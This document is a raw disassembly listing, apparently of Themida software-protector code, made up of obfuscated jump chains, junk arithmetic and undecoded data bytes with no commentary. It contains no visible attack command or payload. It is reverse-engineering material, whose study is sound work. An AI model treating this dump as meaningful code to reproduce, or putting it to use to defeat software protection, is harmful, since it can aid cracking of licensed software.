dd 148704C2h, 0A8685C24h, 89000012h, 56BE2434h, 527CF754h
dd 0FFFA34E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5614E9: ; CODE XREF: Themida_:00561D83j
push esi
push 2ADEh
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
push 71Ah
jmp loc_553245
; ---------------------------------------------------------------------------
loc_561509: ; CODE XREF: Themida_:00558A80j
sub ebx, 1
sub esp, 4
mov [esp], esi
mov esi, 7F7809DBh
add ebx, esi
pop esi
push edi
mov edi, 85E816CFh
xor ebx, edi
pop edi
and esi, ebx
pop ebx
sub esi, 69583526h
jmp loc_560134
; ---------------------------------------------------------------------------
db 87h
dd 0C1EA87DDh, 0E94A05E2h, 0FFFFFB7Ah, 4C181h, 0C1810000h
dd 4, 0FF1AFFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561555: ; CODE XREF: Themida_:0055F69Aj
sub ebx, 4
jmp loc_5558B9
; ---------------------------------------------------------------------------
dd 5F2414F7h, 0E6C1FE87h, 4FF68107h, 4E3B4F3Dh, 13C6EE81h
dd 0F729F736h, 8324348Bh, 2E904C4h
db 2Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561583: ; CODE XREF: Themida_:00555B28j
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_55DFF3
; ---------------------------------------------------------------------------
dw 0E901h
dd 4EC835Dh, 0E9242C89h, 0FFFFC2A8h
; ---------------------------------------------------------------------------
loc_56159C: ; CODE XREF: Themida_:00553B25j
add ecx, 797C9BB1h
jmp loc_557EA1
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0E9D5F700h, 13A3h, 0E9DFC180h, 2CB3h, 2414F755h
dd 1CED815Dh, 81FB79C8h, 5E4EC0C7h, 81EF0124h, 5E4EC0EFh
dd 0EBE95D24h, 66FFFF4Ch, 2244481h, 81661E79h, 4E02246Ch
dd 148B6653h, 4EC8124h, 89000000h, 5954240Ch, 4BB53h, 0D9010000h
dd 2C1815Bh, 87000000h, 248B240Ch, 15A9E924h, 0BD55FFFFh
dd 4A034047h, 4844BE56h, 0DEF70C48h, 2CEE814Eh, 0E93DEC5Ch
dd 0FFFFD870h, 0F87EE947h, 4B8FFFFh, 81000000h, 1134A4EDh
dd 0E9C50100h, 0FFFF7AEBh
; ---------------------------------------------------------------------------
loc_561644: ; CODE XREF: Themida_:0055B15Ej
shl eax, 2
shl eax, 6
xor eax, 8EC7A4B7h
xor ecx, eax
pop eax
jmp loc_556971
; ---------------------------------------------------------------------------
db 83h
dd 0EB8002C4h, 48C3803Dh, 802EC380h, 0C30079C3h, 0C31B050h
dd 18B2524Fh, 0E912EA80h, 829h, 0EC3ECFBDh, 85ED817Dh
dd 8168B416h, 791F79E5h, 0D1D5F733h, 0DFF581EDh, 17763FBh
dd 0C2815DEAh, 4, 8B241487h, 57522424h, 8B47D3BFh, 5FFA8922h
dd 0D731FA31h, 7FE9FA31h
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5616B7: ; CODE XREF: Themida_:00562396j
sub ecx, 45FF339Ah
jmp loc_5627F0
; ---------------------------------------------------------------------------
loc_5616C2: ; CODE XREF: Themida_:00558563j
shr edx, 5
jmp loc_557EDF
; ---------------------------------------------------------------------------
dw 8EB7h
dd 0E95FB151h, 0FFFF1D0Dh
; ---------------------------------------------------------------------------
loc_5616D4: ; CODE XREF: Themida_:005539C9j
add esp, 4
sub bl, ch
pop ecx
jmp loc_55FA33
; ---------------------------------------------------------------------------
dw 4FBEh
dd 134AE26h, 1E95EF1h
db 66h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5616EF: ; CODE XREF: Themida_:005553F2j
add esp, 4
add ebx, 3A9BF93Dh
push edx
jmp loc_557FFE
; ---------------------------------------------------------------------------
db 80h, 0C6h, 12h
dd 0E9B0F680h, 0FFFF2C5Ch, 241C875Fh, 2ED0E95Ch, 4870000h
dd 0C3305C24h, 0E9C0B60Fh, 5514h
; ---------------------------------------------------------------------------
loc_561724: ; CODE XREF: Themida_:0055D4D8j
push edx
mov edx, 75258FAh
jmp loc_55B238
; ---------------------------------------------------------------------------
loc_56172F: ; CODE XREF: Themida_:0055F04Cj
pop esp
shl eax, cl
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
sub eax, ecx
pop ecx
push eax
push dword ptr [esp+4]
jmp loc_566DA3
; ---------------------------------------------------------------------------
db 0B8h, 9Fh, 25h
dd 0C1015D71h, 59CB8758h, 0C6C38143h, 437CD62Fh, 0C107E3C1h
dd 0F38104EBh, 0DA9CE5Ah, 1C8BDD01h, 31E95024h
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561777: ; CODE XREF: Themida_:00563216j
push eax
push esi
mov esi, 46E6DA8h
mov eax, 47540C6Fh
add eax, esi
jmp loc_55FE40
; ---------------------------------------------------------------------------
dw 0F589h
dd 0B6E9575Eh
db 53h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561793: ; CODE XREF: Themida_:00557780j
xor edi, ebx
pop ebx
and edi, 2F98699Dh
sub edi, 679F5C1Fh
shr edi, 2
xor edi, 42A766CBh
add eax, 53B0273Ch
jmp loc_555878
; ---------------------------------------------------------------------------
aIchd db '┴Фh└{',0
align 4
dd 0BF243C89h, 4D9F55E7h, 0F74FD7F7h, 2800E9D7h, 1433FFFFh
dd 24143124h, 0E9241433h, 0FFFF2E9Ch
; ---------------------------------------------------------------------------
loc_5617DC: ; CODE XREF: Themida_:00555E27j
add ecx, 4
xchg ecx, [esp]
jmp loc_5562B5
; ---------------------------------------------------------------------------
dw 0B951h
dd 35F291Fh, 23F4E981h, 0E9C16CDCh, 0DB68E908h, 3C33FFFFh
dd 0EC815C24h, 2, 24148966h, 885AB450h, 0B3E958E2h
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561817: ; CODE XREF: Themida_:0055967Ej
add ebp, 4E5D102Ch
sub eax, ebp
pop ebp
sub edx, 386C5FBDh
sub edx, eax
add edx, 386C5FBDh
mov eax, [esp]
jmp loc_554271
; ---------------------------------------------------------------------------
dw 0EC83h
dd 2644E904h, 0EA81FFFFh, 616B73D3h, 1DBFE281h, 0C28103DEh
dd 39AC1906h, 0FFF03FE9h, 5EF029FFh, 1C242C81h, 52782F7Bh
dd 810E9h, 82EF8100h
dword_561868 dd 0E923A373h, 0FFFF4460h ; DATA XREF: Themida_:0054B688o
; ---------------------------------------------------------------------------
loc_561870: ; CODE XREF: Themida_:00554B77j
pop esp
mov [esp], edx
push 10651117h
pop edx
xor edx, 10651517h
mov eax, edx
mov edx, [esp]
jmp loc_553362
; ---------------------------------------------------------------------------
dw 895Ch
dd 5F54243Ch, 4C781h, 0EC810000h, 4, 51240489h, 468h, 89575900h
dd 2C8157CFh, 9542FE24h, 0FE05580Ch, 5F0C9542h, 58C70159h
dd 31243C33h, 3C33243Ch, 24248B24h, 30DDE9h, 0E9D53100h
dd 0FFFFCEAAh, 5C24048Fh, 4EC8350h, 81242489h, 42404h
dd 55580000h, 6C4FBDBDh, 1C5834Ah, 8308EDC1h, 148904ECh
dd 14F4BA24h, 0D2F7759Ah, 31D5E9h, 5EE95C00h
db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56190B: ; CODE XREF: Themida_:005567BFj
add esp, 4
add ecx, 4
push eax
mov eax, 76816A41h
push ecx
mov ecx, 690C6681h
and ecx, 2AEA4DF8h
inc ecx
and ecx, 58C15049h
shl ecx, 4
push edi
mov edi, 86E83240h
xor ecx, edi
pop edi
jmp loc_556C05
; ---------------------------------------------------------------------------
dw 4B9h
dd 55000000h, 73BF5753h, 0BB273641h, 3F8B79E9h, 0E95FFB29h
dd 0FFFF4E83h
; ---------------------------------------------------------------------------
loc_561958: ; CODE XREF: Themida_:00566659j
add ebx, 4
xchg ebx, [esp]
pop esp
or edx, eax
shl edx, 1
jmp loc_5636AA
; ---------------------------------------------------------------------------
loc_561968: ; CODE XREF: Themida_:005657F8j
pop edx
xor esi, 5FA12505h
xor esi, 68C63AFBh
add ecx, esi
mov esi, [esp]
add esp, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push ebp
mov ebp, esp
push ebx
mov ebx, offset word_507B52
xor ebx, offset word_507B56
add ebp, ebx
jmp loc_55AA31
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 240C8900h, 35906852h, 0ABE977E2h
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5619B3: ; CODE XREF: Themida_:005533F7j
add eax, 28653036h
jmp loc_558C82
; ---------------------------------------------------------------------------
loc_5619BD: ; CODE XREF: Themida_:0055DBADj
pop edi
xchg esi, edx
shl edx, 6
add edx, 4EB0E66Eh
push 671Fh
mov [esp], edx
pop ebp
pop edx
jmp loc_563E52
; ---------------------------------------------------------------------------
loc_5619D8: ; CODE XREF: Themida_:0055B48Dj
mov edi, 4
add ebp, 0E95DC3h
sub ebp, edi
sub ebp, 0E95DC3h
pop edi
xchg ebp, [esp]
jmp loc_55E0F9
; ---------------------------------------------------------------------------
dd 0B8E939B0h, 89FFFF5Ah, 8B542414h, 5E92414h
db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561A07: ; CODE XREF: Themida_:00556076j
sub esp, 4
jmp loc_55A721
; ---------------------------------------------------------------------------
dw 6858h
dd 6BFDh, 55241489h, 0F44E61BDh, 9C2FBA12h, 0EA29896Eh
dd 2012E95Dh, 1580000h, 241C8BD9h, 504C483h, 467409C3h
dd 5657C829h, 0B06C7CBEh, 65BFBF7Eh, 95E938C4h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561A4F: ; CODE XREF: Themida_:0055EDF3j
mov [esp], edi
push edx
mov edx, 4
jmp loc_5628E1
; ---------------------------------------------------------------------------
loc_561A5D: ; CODE XREF: Themida_:005573C5j
push ecx
mov ch, 7
not ch
xor ch, 0BFh
jmp loc_557AE5
; ---------------------------------------------------------------------------
loc_561A6A: ; CODE XREF: Themida_:00555090j
mov edx, ebp
pop ebp
neg edx
inc edx
add edx, 464772C3h
add edx, 542B6C06h
shr edx, 8
sub edx, 910FDD9Ah
and eax, edx
pop edx
add eax, 4115ED7Ch
add ebp, eax
pop eax
mov ebx, [esp]
jmp loc_55E155
; ---------------------------------------------------------------------------
dd 8324348Bh, 0C20104C4h, 654AE9h, 54C6B900h, 0CE94686h
db 67h, 2 dup(0)
byte_561AAF db 66h ; DATA XREF: Themida_:005529F0o
dd 6824048Bh, 99h, 83243489h, 8F5404ECh, 4812404h, 424h
dd 51555E00h, 8D5701B9h, 4815173h, 0F8571624h, 0ED815D5Ch
dd 5CF85716h, 4EDC159h, 2DCBED81h, 0F5813D9Fh, 13072966h
dd 0FFE49BE9h, 0FFE981FFh, 55FFFFFFh, 0B3391ABDh, 1ED816Ch
dd 0E9000000h, 0FFFF7699h, 26B2E95Ch, 0E3890000h, 33ADE9h
dd 1C8B5400h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_560A20
; ---------------------------------------------------------------------------
dw 0EBC1h
dd 9C38104h, 817EB42Ch, 20A2EE3h, 0E8EFE937h, 5F54FFFFh
dd 4BA52h, 0C7810000h, 3A6A0C2Eh, 0E953D701h, 0FFFF55EFh
dd 18A0E957h, 2C810000h, 0C3475024h, 242C814Fh, 2AB53B0Ah
dd 81241C8Bh, 4C4h, 0C3834B00h, 68EBD1FFh, 6F26h, 0FF6248E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561B85: ; CODE XREF: Themida_:00565AA7j
mov ebp, esi
mov ecx, ebp
pop ebp
jmp loc_559DE1
; ---------------------------------------------------------------------------
db 89h
dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 0E9E8005Ch, 0FFFF5A7Ah
dd 5203E6C1h, 0FF4996E9h, 5E9C0FFh, 0FFD2E9E9h
db 0FFh
byte_561BB9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552B48o
aHo db '$h╝:',0
align 2
dw 1C89h
aIuhm db '$┴Цh╛\',0
align 4
dd 0BA241489h, 6E201FF9h, 67D5BF57h, 0EFC17A00h, 6EFC108h
dd 37C3E9h, 56E58900h, 4BEh, 2870E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561BF2: ; CODE XREF: Themida_:0055BFE8j
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], esi
mov esi, 0AC61E91h
neg esi
add esi, 49029AF5h
push 74A7h
mov [esp], eax
push ebp
mov ebp, 77273AEh
mov eax, 0EC7C282Fh
sub eax, ebp
jmp loc_55B24E
; ---------------------------------------------------------------------------
db 8Fh
dd 0E95C2404h, 0FFFFABC0h, 3F46C681h, 0C6293620h, 3F46EE81h
dd 7EE93620h, 89FFFFA5h, 6657242Ch, 0E9110DBFh, 0FFFF7849h
; ---------------------------------------------------------------------------
loc_561C4C: ; CODE XREF: Themida_:00565D9Cj
pop esi
loc_561C4D: ; CODE XREF: Themida_:0055AD57j
push ebp
mov ebp, esp
push ecx
mov ecx, 4
sub ebp, 2AB449AAh
add ebp, ecx
add ebp, 2AB449AAh
pop ecx
push edx
mov edx, 4
sub ebp, edx
pop edx
xchg ebp, [esp]
jmp loc_55895E
; ---------------------------------------------------------------------------
loc_561C76: ; CODE XREF: Themida_:005570C0j
mov [esp], ebp
jmp loc_55E7E2
; ---------------------------------------------------------------------------
dw 8EB2h
dd 504AE280h, 0E8C095B0h, 1CF65006h, 24048B24h, 0FF984EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561C95: ; CODE XREF: Themida_:0056521Cj
add ebp, 4
add ebp, 4
jmp loc_55D5F9
; ---------------------------------------------------------------------------
loc_561CA6: ; CODE XREF: Themida_:005558DDj
add ebx, esi
add ebx, 550822F3h
mov esi, [esp]
jmp loc_55A64E
; ---------------------------------------------------------------------------
dw 0E94Ah
dd 0FFFF6EBEh, 4C281h, 14870000h, 0F426E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561CCA: ; CODE XREF: Themida_:005566CBj
push ebp
jmp loc_55D62D
; ---------------------------------------------------------------------------
dd 51E4F780h, 0FF9602E9h, 0D2C581FFh, 0E9B9A4D6h, 56DBh
dd 9110B6BAh, 8BD1313Dh, 0C4832414h, 59C80104h, 322DF801h
dd 5F69D010h, 0D93E956h, 1C870000h, 40E95C24h
db 51h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561D0B: ; CODE XREF: Themida_:005582BBj
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_55FC11
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 4240483h, 4B9515Ah, 0E9000000h, 58C9h
; ---------------------------------------------------------------------------
loc_561D30: ; CODE XREF: Themida_:005675F4j
pop esp
push esi
push esp
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 6C9E17BCh
and ecx, 201F1231h
push ebp
mov ebp, 0C5B282Ch
shr ebp, 3
inc ebp
shl ebp, 2
jmp loc_55A618
; ---------------------------------------------------------------------------
dw 48Fh
dd 24248B24h, 8904EC83h, 44B9240Ch, 5354D677h, 3CE368h
dd 24048900h, 49A7E9h
db 0
; ---------------------------------------------------------------------------
loc_561D79: ; CODE XREF: Themida_:00564B17j
push dword ptr [esp]
pop ecx
add esp, 4
mov ecx, [esp]
jmp loc_5614E9
; ---------------------------------------------------------------------------
dd 448BED81h, 0EA0159AFh, 4175E95Dh, 8950FFFFh, 405E0h
dd 0D8E90000h, 5F000029h, 0EC83DFF7h, 242C8904h, 0FFFFFFBDh
dd 0F6EF81FFh, 0E9669A18h, 3315h
; ---------------------------------------------------------------------------
loc_561DBC: ; CODE XREF: Themida_:005627C8j
and ecx, 5896320Bh
push ebp
mov ebp, 0FFFDFFF9h
jmp loc_560EA9
; ---------------------------------------------------------------------------
loc_561DCD: ; CODE XREF: Themida_:0056528Aj
not esi
sub esi, 0C5E68F51h
jmp loc_560403
; ---------------------------------------------------------------------------
dw 0BB53h
dd 4, 685BDA01h, 39F7h, 57241C89h, 2BFh, 50BCE900h
db 2 dup(0)
word_561DF6 dw 34FFh ; DATA XREF: Themida_:00552AACo
dd 2434FF24h, 1DC4E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_561E02: ; CODE XREF: Themida_:00553312j
xor ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_564619
; ---------------------------------------------------------------------------
db 53h
dd 870EF0BBh, 5BD92129h, 5061C181h, 0E181278Eh, 352E2CB8h
dd 0FF3ED3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561E29: ; CODE XREF: Themida_:00552FFBj
sub ebp, 45195414h
add edi, ebp
pop ebp
sub edi, 0C4092F0Ch
add eax, edi
pop edi
push ebp
mov ebp, 4
add eax, ebp
pop ebp
xor eax, [esp]
jmp loc_55EA79
; ---------------------------------------------------------------------------
loc_561E4C: ; CODE XREF: Themida_:00557180j
mov eax, esi
pop esi
add eax, 1ACC5CB7h
xor eax, 0BE0F02FEh
mov ebx, eax
pop eax
neg ebx
sub ebx, 0FFFFFFFFh
not ebx
shr ebx, 4
sub ebx, 2609799h
add ebp, ebx
jmp loc_55A632
; ---------------------------------------------------------------------------
dw 0EF01h
dd 78E9525Dh
db 0A1h, 2 dup(0FFh)
byte_561E7F db 66h ; DATA XREF: Themida_:00552AA8o
dd 51240C8Bh, 0C181E189h, 4, 4BF57h, 0F9290000h, 240C875Fh
dd 2414895Ch, 5C34E9h, 5AD03000h, 8058C328h, 39E92EEBh
dd 88FFFF3Eh, 0E4805AF4h, 0FDF480FBh, 32F6E9h, 59FCB900h
dd 0E18154DBh, 7DB18C8h, 446FF181h, 0E1817B98h, 54E10084h
dd 0FE0AE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561EDA: ; CODE XREF: Themida_:005673BAj
mov eax, 294419DDh
mov esi, 2A94337Eh
xor esi, eax
jmp loc_5573F8
; ---------------------------------------------------------------------------
byte_561EEB db 0ADh ; DATA XREF: Themida_:00552A60o
dd 0C4501805h, 57D80129h, 0F27BE955h, 0F004FFFFh, 0F02CD028h
dd 0E9D82C5Ah, 0FFFF4A23h, 4C181h, 0E9520000h, 66Ah, 8B240C33h
dd 48F2424h, 0D8E95C24h, 0FFFFFFE5h, 0E95D2434h, 0FFFFA354h
dd 0FF0C8AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561F31: ; CODE XREF: Themida_:00553AC1j
shr esi, 1
jmp loc_558033
; ---------------------------------------------------------------------------
loc_561F38: ; CODE XREF: Themida_:00554617j
mov edx, 4
add ebp, edx
jmp loc_55C78A
; ---------------------------------------------------------------------------
dd 6E9C15Eh, 1A49E9h, 243C8900h, 4BFh, 5FFA0100h, 6804C283h
dd 4F5Ch, 0FF241489h, 0FF042474h, 835A2434h, 2C8904ECh
dd 81E58924h, 4C5h, 4C58300h, 2953E9h
db 0
; ---------------------------------------------------------------------------
loc_561F81: ; CODE XREF: Themida_:005634C5j
mov ecx, [esp]
jmp loc_552E2A
; ---------------------------------------------------------------------------
db 80h, 0E6h, 57h
dd 30AEC680h, 14A6E9F5h, 0D830FFFFh, 0FF2F31E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561F9D: ; CODE XREF: Themida_:0055EE82j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add esp, 4
jmp loc_566AE4
; ---------------------------------------------------------------------------
loc_561FB6: ; CODE XREF: Themida_:00561426j
push eax
mov eax, 0D11CD24Bh
xor edx, eax
pop eax
xor eax, edx
pop edx
add eax, 2B976CA0h
jmp loc_55D969
; ---------------------------------------------------------------------------
loc_561FCC: ; CODE XREF: Themida_:005609E3j
mov edx, 195A6929h
mov edi, edx
pop edx
jmp loc_55D55A
; ---------------------------------------------------------------------------
loc_561FD9: ; CODE XREF: Themida_:0055DA1Aj
sub bl, 99h
add bl, 0Fh
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
jmp loc_55CC73
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 5155E389h, 680E9968h, 0EBE9597Ah
db 85h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561FFF: ; CODE XREF: Themida_:00555D98j
add esp, 4
pop dword ptr [esp]
jmp loc_55D520
; ---------------------------------------------------------------------------
db 5Dh, 52h, 0E9h
dd 0FFFF9FD9h
; ---------------------------------------------------------------------------
loc_562014: ; CODE XREF: Themida_:0055D8BEj
mov edi, 12012497h
jmp loc_55EF5A
; ---------------------------------------------------------------------------
dw 0C183h
dd 240C8702h, 6624248Bh, 2404B30Fh, 0B89E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562032: ; CODE XREF: Themida_:0056587Ej
pop esi
sub eax, 29912E4h
add eax, edi
jmp loc_55A69A
; ---------------------------------------------------------------------------
loc_56203F: ; CODE XREF: Themida_:005584E7j
sub dl, 0C2h
jmp loc_55876F
; ---------------------------------------------------------------------------
db 89h
dd 3ABD242Ch, 817B6750h, 3A0C04CDh, 0E9EDD125h, 550Ah
dd 0F604C483h, 6AB252D4h, 0C2FECAFEh, 0FFE7CAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56206D: ; CODE XREF: Themida_:005655C5j
mov [esp], ebp
jmp loc_565295
; ---------------------------------------------------------------------------
db 0BAh, 0E9h, 1Ah
dd 0B9512398h, 18872F2h, 8246C81h, 4EAA5A66h, 492E9h, 7BA36800h
dd 51E90000h, 87FFFF46h, 0A2E681FEh, 8112703Eh, 0DA21DAEEh
dd 4BDFE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5620AA: ; CODE XREF: Themida_:005635F2j
neg ecx
jmp loc_55564A
; ---------------------------------------------------------------------------
db 66h, 1, 0C3h
dd 8904EC83h, 0E389241Ch, 4C381h, 0EB830000h, 241C8704h
dd 0E924248Bh, 0FFFFAE5Bh
; ---------------------------------------------------------------------------
loc_5620D0: ; CODE XREF: Themida_:00553E7Dj
push ebx
jmp loc_564179
; ---------------------------------------------------------------------------
loc_5620D6: ; CODE XREF: Themida_:005672C3j
pop edi
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], eax
xor [esp], esi
xor esi, [esp]
xor [esp], esi
not esi
xchg esi, [esp]
mov eax, [esp]
push edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_552DBA
; ---------------------------------------------------------------------------
dd 58C2085Bh, 6806E2C0h, 0B99h, 0B3241C89h, 5BDA3026h
dd 0BCE9A004h, 8300005Ch, 31E904C5h, 66FFFF39h, 5BDA2858h
dd 148BD520h, 4DA9E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_562146: ; CODE XREF: Themida_:0055CD9Aj
pop esi
mov ebx, esi
mov esi, [esp]
add esp, 4
pop edi
sub ebx, 17D70D36h
add ebx, edi
push edx
mov edx, 17D70D36h
add ebx, edx
pop edx
jmp loc_5603D9
; ---------------------------------------------------------------------------
dw 0B468h
dd 8900007Dh, 4BE2434h, 56000000h, 7A8FB850h, 7ABE6F44h
dd 29D9E9B6h, 2F23E9C6h, 0EB28FFFFh
db 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
push eax
mov eax, 73C437CAh
sub eax, 299C5F6Ch
push esi
mov esi, 4A27D85Ah
sub eax, esi
pop esi
add ebx, eax
pop eax
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
mov ch, 9Fh
push ebx
mov bh, 53h
xor bh, 57h
xor bh, 0B4h
not bh
add bh, 35h
jmp loc_55994B
; ---------------------------------------------------------------------------
loc_5621DA: ; CODE XREF: Themida_:0055E546j
add esp, 4
push dword ptr [esp]
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_552F81
; ---------------------------------------------------------------------------
dw 262Dh
dd 5E73C11Bh, 0FF66C331h, 9B1E930h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56220A: ; CODE XREF: Themida_:0055F9E4j
mov edi, 33525E20h
jmp loc_55C053
; ---------------------------------------------------------------------------
dd 5E2434FFh, 0E9E68956h, 0FFFF401Ch
; ---------------------------------------------------------------------------
loc_562220: ; CODE XREF: Themida_:0055F450j
mov [esp], ebx
jmp loc_5657E5
; ---------------------------------------------------------------------------
dd 1337BD55h, 0E5C148DEh, 81DDF704h, 1ECC8CEDh, 5DEE0172h
dd 4C681h, 34330000h, 24343124h, 5C243433h, 8904EC83h
dd 0E789243Ch, 4BD55h, 0EF010000h, 0ECE9555Dh, 5DFFFF52h
dd 4C581h, 0C5830000h, 242C3304h, 33242C31h, 0E95C242Ch
dd 0FFFF7149h, 169F6CBFh, 8BFD319Ch, 0C483243Ch, 0AE5DE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56228E: ; CODE XREF: Themida_:005635D1j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_567ED4
; ---------------------------------------------------------------------------
dd 0C1DFF75Ah, 0BE5605EFh, 4735C5CBh, 0DDE9F701h
db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5622AF: ; CODE XREF: Themida_:00564D15j
mov ebx, 0E62ADA18h
add ebx, edi
pop edi
jmp loc_5657B2
; ---------------------------------------------------------------------------
loc_5622BC: ; CODE XREF: Themida_:0055AC92j
mov eax, 2DF83169h
not eax
neg eax
push edi
mov edi, 13583F2Dh
and eax, edi
pop edi
sub eax, 8F660BE1h
jmp loc_563C78
; ---------------------------------------------------------------------------
loc_5622D8: ; CODE XREF: Themida_:0055F1ADj
add esp, 4
xor ebp, 27E431AFh
add edx, 0B5F0BFAh
add edx, 1C3A4C97h
jmp loc_55ECBC
; ---------------------------------------------------------------------------
dw 0D629h
dd 0DBA525Ah, 0E913ED03h, 2082h
; ---------------------------------------------------------------------------
loc_562300: ; CODE XREF: Themida_:005572E7j
pop dx
or dh, ah
jmp loc_556F8F
; ---------------------------------------------------------------------------
db 50h, 0B4h, 2
dd 75E9E130h, 89FFFF5Ah, 2DB82404h, 0E97B8E6Bh, 0FFFF0B4Eh
dd 48CA6850h, 34890000h, 5AE95224h, 1FFFF6Ah, 243C8BFEh
dd 8104C483h, 4C6h, 9286E900h, 0C281FFFFh, 7188071Fh, 5724048Bh
dd 0C781E789h, 4, 0FF25ABE9h, 4C683FFh, 5C243487h, 0FF110FE9h
dd 241C8BFFh, 8304C483h, 1C8904ECh, 44FBBB24h, 3FE960DEh
db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56237B: ; CODE XREF: Themida_:00556687j
push ecx
sub esp, 4
mov [esp], eax
push 643267E2h
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
push ecx
mov ecx, 137812ADh
not ecx
jmp loc_5616B7
; ---------------------------------------------------------------------------
byte_56239B db 30h ; DATA XREF: Themida_:005529ACo
dd 14322414h, 6472E924h, 0E789FFFFh, 4C781h, 0BE560000h
dd 4, 3151E9h, 2434FF00h, 149AE9h, 24248B00h, 8B24048Fh
dd 34FF2424h, 9606E924h, 0C209FFFFh, 81DAF758h, 0D8769CF2h
dd 0FEF28159h, 89D1D4F4h, 3BE95AD1h, 81000000h, 342E03EAh
dd 6AC28173h, 8135D458h, 0F53820EAh, 5ECA8166h, 0E9223110h
dd 218Dh, 0D907ACBFh, 0E5C78139h, 81626A10h, 0E03FE6EFh
dd 1BB0E93Bh, 14300000h, 795E924h, 0CF01FFFFh, 0FFAD68E9h
dd 0E9FB29FFh, 4909h, 0E9241C89h, 9Fh, 5A968h, 24148900h
dd 0C281E289h, 4, 0FF413AE9h, 4EB83FFh, 0FF8445E9h, 0B3E953FFh
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56245F: ; CODE XREF: Themida_:0055C6F5j
and edx, 185E0888h
xor edx, 69DE4CF8h
sub eax, 5A2B0BB9h
sub eax, edx
add eax, 5A2B0BB9h
mov edx, [esp]
push esi
push esp
pop esi
jmp loc_5542D7
; ---------------------------------------------------------------------------
dw 454Dh
dd 0F14ED81h, 1AE95A76h, 100003Dh, 0C7835DEFh, 243C8704h
dd 0E924248Bh, 0FFFFB75Ch, 48BF575Dh, 525E9A5Ah, 80867BAh
dd 0E9D00140h, 0FFFF4F51h, 4C281h, 0EC830000h, 14BCE904h
dd 58660000h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edx
jmp loc_563B0E
; ---------------------------------------------------------------------------
aZLISxr db '┤<$▀$$┴<$И∙R',0
dw 8100h
dd 2135242Ch, 815E43F7h, 0F72135C6h, 4E95B43h, 5500000Ch
dd 0FF52F1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5624F5: ; CODE XREF: Themida_:005640F6j
mov esi, eax
jmp loc_55E19E
; ---------------------------------------------------------------------------
dd 0E95AD701h, 0FFFF2CEDh, 88BA525Dh, 815BA80Dh, 0D3401F2h
dd 6C2816Fh, 31E8FD09h, 2DE95AD6h, 29FFFFE4h, 5308244Ch
dd 0AA5A66BBh, 245C014Eh, 0C8B5B0Ch, 4C48124h, 0E9000000h
dd 0FFFF7320h
; ---------------------------------------------------------------------------
loc_56253C: ; CODE XREF: Themida_:005632EEj
mov edx, [esp]
jmp loc_5531A8
; ---------------------------------------------------------------------------
loc_562544: ; CODE XREF: Themida_:0055955Dj
mov edi, 1F662E69h
jmp loc_558C8F
; ---------------------------------------------------------------------------
dw 0C33h
dd 0CBE95C24h
db 1Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
